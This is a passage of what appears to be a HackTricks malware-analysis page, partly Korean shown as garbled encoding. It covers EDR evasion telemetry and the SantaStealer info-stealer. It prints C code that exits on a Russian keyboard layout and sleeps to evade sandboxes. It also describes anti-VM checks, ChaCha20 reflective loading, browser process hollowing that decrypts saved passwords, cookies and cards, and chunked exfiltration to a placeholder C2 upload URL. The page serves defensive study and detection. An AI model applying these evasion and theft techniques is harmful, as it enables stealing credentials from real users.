  • Loader telemetry: inโ€‘process writes to IAT, early DllMain activity that modifies import thunks, unexpected RX regions created at load.
  • Imageโ€‘load evasion: if hooking LoadLibrary*, monitor suspicious loads of automation/clr assemblies correlated with memory masking events.

๊ด€๋ จ ๊ตฌ์„ฑ ์š”์†Œ ๋ฐ ์˜ˆ์‹œ

  • Reflective loaders that perform IAT patching during load (e.g., TitanLdr, AceLdr)
  • Memory masking hooks (e.g., simplehook) and stackโ€‘cutting PIC (stackcutting)
  • PIC callโ€‘stack spoofing stubs (e.g., Draugr)

SantaStealer Tradecraft for Fileless Evasion and Credential Theft

SantaStealer (aka BluelineStealer)๋Š” ํ˜„๋Œ€์˜ info-stealers๊ฐ€ AV bypass, anti-analysis ๋ฐ ์ž๊ฒฉ์ฆ๋ช… ์ ‘๊ทผ์„ ๋‹จ์ผ ์›Œํฌํ”Œ๋กœ์šฐ๋กœ ๊ฒฐํ•ฉํ•˜๋Š” ๋ฐฉ์‹์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

Keyboard layout gating & sandbox delay

  • A config flag (anti_cis) enumerates installed keyboard layouts via GetKeyboardLayoutList. If a Cyrillic layout is found, the sample drops an empty CIS marker and terminates before running stealers, ensuring it never detonates on excluded locales while leaving a hunting artifact.
HKL layouts[64];
int count = GetKeyboardLayoutList(64, layouts);
for (int i = 0; i < count; i++) {
LANGID lang = PRIMARYLANGID(HIWORD((ULONG_PTR)layouts[i]));
if (lang == LANG_RUSSIAN) {
CreateFileA("CIS", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
ExitProcess(0);
}
}
Sleep(exec_delay_seconds * 1000); // config-controlled delay to outlive sandboxes

๊ณ„์ธตํ™”๋œ check_antivm ๋กœ์ง

  • Variant A๋Š” ํ”„๋กœ์„ธ์Šค ๋ชฉ๋ก์„ ์ˆœํšŒํ•˜๊ณ , ๊ฐ ์ด๋ฆ„์„ ์ปค์Šคํ…€ ๋กค๋ง ์ฒดํฌ์„ฌ์œผ๋กœ ํ•ด์‹œํ•œ ๋’ค debuggers/sandboxes์šฉ ์ž„๋ฒ ๋””๋“œ ์ฐจ๋‹จ ๋ชฉ๋ก๊ณผ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค; ์ปดํ“จํ„ฐ ์ด๋ฆ„์— ๋Œ€ํ•ด์„œ๋„ ์ฒดํฌ์„ฌ์„ ๋ฐ˜๋ณตํ•˜๊ณ  C:\analysis์™€ ๊ฐ™์€ ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  • Variant B๋Š” ์‹œ์Šคํ…œ ์†์„ฑ(ํ”„๋กœ์„ธ์Šค ์ˆ˜ ํ•˜ํ•œ, ์ตœ๊ทผ uptime)์„ ๊ฒ€์‚ฌํ•˜๊ณ  OpenServiceA("VBoxGuest")๋ฅผ ํ˜ธ์ถœํ•ด VirtualBox ์ถ”๊ฐ€ ์š”์†Œ๋ฅผ ํƒ์ง€ํ•˜๋ฉฐ, sleep ์ฃผ๋ณ€์˜ ํƒ€์ด๋ฐ ์ฒดํฌ๋กœ single-stepping์„ ๊ฐ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์–ด๋А ํ•˜๋‚˜๋ผ๋„ ์ผ์น˜ํ•˜๋ฉด ๋ชจ๋“ˆ์ด ์‹คํ–‰๋˜๊ธฐ ์ „์— ์ค‘๋‹จํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ๋ฆฌ์Šค ํ—ฌํผ + double ChaCha20 reflective loading

  • ์ฃผ๋œ DLL/EXE๋Š” Chromium credential helper๋ฅผ ์ž„๋ฒ ๋“œํ•˜๋ฉฐ, ์ด๋Š” ๋””์Šคํฌ์— ๋“œ๋กญ๋˜๊ฑฐ๋‚˜ ์ˆ˜๋™์œผ๋กœ ๋ฉ”๋ชจ๋ฆฌ์— ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค; fileless ๋ชจ๋“œ์—์„œ๋Š” imports/relocations์„ ์ž์ฒด์ ์œผ๋กœ ํ•ด๊ฒฐํ•ด ํ—ฌํผ ์•„ํ‹ฐํŒฉํŠธ๊ฐ€ ํŒŒ์ผ๋กœ ๊ธฐ๋ก๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ๊ทธ ํ—ฌํผ๋Š” 2๋‹จ๊ณ„ DLL์„ ChaCha20์œผ๋กœ ๋‘ ๋ฒˆ(32-byte ํ‚ค 2๊ฐœ + 12-byte nonce) ์•”ํ˜ธํ™”ํ•˜์—ฌ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๋ฒˆ์˜ ํŒจ์Šค๊ฐ€ ๋๋‚˜๋ฉด ๋ธ”๋ž์„ reflective๋กœ ๋กœ๋“œ(์ฆ‰ LoadLibrary ๋ฏธ์‚ฌ์šฉ)ํ•˜๊ณ  ChromElevator์—์„œ ํŒŒ์ƒ๋œ exports ChromeElevator_Initialize/ProcessAllBrowsers/Cleanup๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ChromElevator ๋ฃจํ‹ด์€ direct-syscall reflective process hollowing์„ ์‚ฌ์šฉํ•ด ์‹คํ–‰ ์ค‘์ธ Chromium ๋ธŒ๋ผ์šฐ์ €์— ์ธ์ ์…˜ํ•˜๊ณ , AppBound Encryption ํ‚ค๋ฅผ ์ƒ์†๋ฐ›์•„ ABE hardening์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  SQLite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๋ฐ”๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ/์ฟ ํ‚ค/์‹ ์šฉ์นด๋“œ๋ฅผ ๋ณตํ˜ธํ™”ํ•ฉ๋‹ˆ๋‹ค.

๋ชจ๋“ˆํ˜• ์ธ๋ฉ”๋ชจ๋ฆฌ ์ˆ˜์ง‘ & ์ฒญํฌ ๋‹จ์œ„ HTTP exfil

  • create_memory_based_log๋Š” ์ „์—ญ memory_generators ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ํ…Œ์ด๋ธ”์„ ๋ฐ˜๋ณตํ•˜๋ฉฐ, ํ™œ์„ฑํ™”๋œ ๋ชจ๋“ˆ(์˜ˆ: Telegram, Discord, Steam, ์Šคํฌ๋ฆฐ์ƒท, ๋ฌธ์„œ, ๋ธŒ๋ผ์šฐ์ € ํ™•์žฅ ๋“ฑ)๋งˆ๋‹ค ํ•œ ๊ฐœ์˜ ์Šค๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์Šค๋ ˆ๋“œ๋Š” ๊ฒฐ๊ณผ๋ฅผ ๊ณต์œ  ๋ฒ„ํผ์— ์“ฐ๊ณ  ์•ฝ ~45s์˜ join ์ฐฝ ์ดํ›„ ํŒŒ์ผ ๊ฐœ์ˆ˜๋ฅผ ๋ณด๊ณ ํ•ฉ๋‹ˆ๋‹ค.
  • ์™„๋ฃŒ๋˜๋ฉด ๋ชจ๋“  ๊ฒฐ๊ณผ๋ฅผ ์ •์ ์œผ๋กœ ๋งํฌ๋œ miniz ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ %TEMP%\\Log.zip์œผ๋กœ ์••์ถ•ํ•ฉ๋‹ˆ๋‹ค. ThreadPayload1์€ 15s ๋™์•ˆ sleepํ•œ ๋’ค ์•„์นด์ด๋ธŒ๋ฅผ 10โ€ฏMB ์ฒญํฌ๋กœ ๋‚˜๋ˆ„์–ด HTTP POST๋กœ http://<C2>:6767/upload์— ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๋ฉฐ ๋ธŒ๋ผ์šฐ์ € multipart/form-data ๊ฒฝ๊ณ„(----WebKitFormBoundary***)๋ฅผ ์Šคํ‘ธํ•‘ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์ฒญํฌ์—๋Š” User-Agent: upload, auth: <build_id>, ์„ ํƒ์  w: <campaign_tag>๊ฐ€ ์ถ”๊ฐ€๋˜๋ฉฐ ๋งˆ์ง€๋ง‰ ์ฒญํฌ๋Š” complete: true๋ฅผ ๋ถ™์—ฌ C2๊ฐ€ ์žฌ์กฐ๋ฆฝ ์™„๋ฃŒ๋ฅผ ์ธ์ง€ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ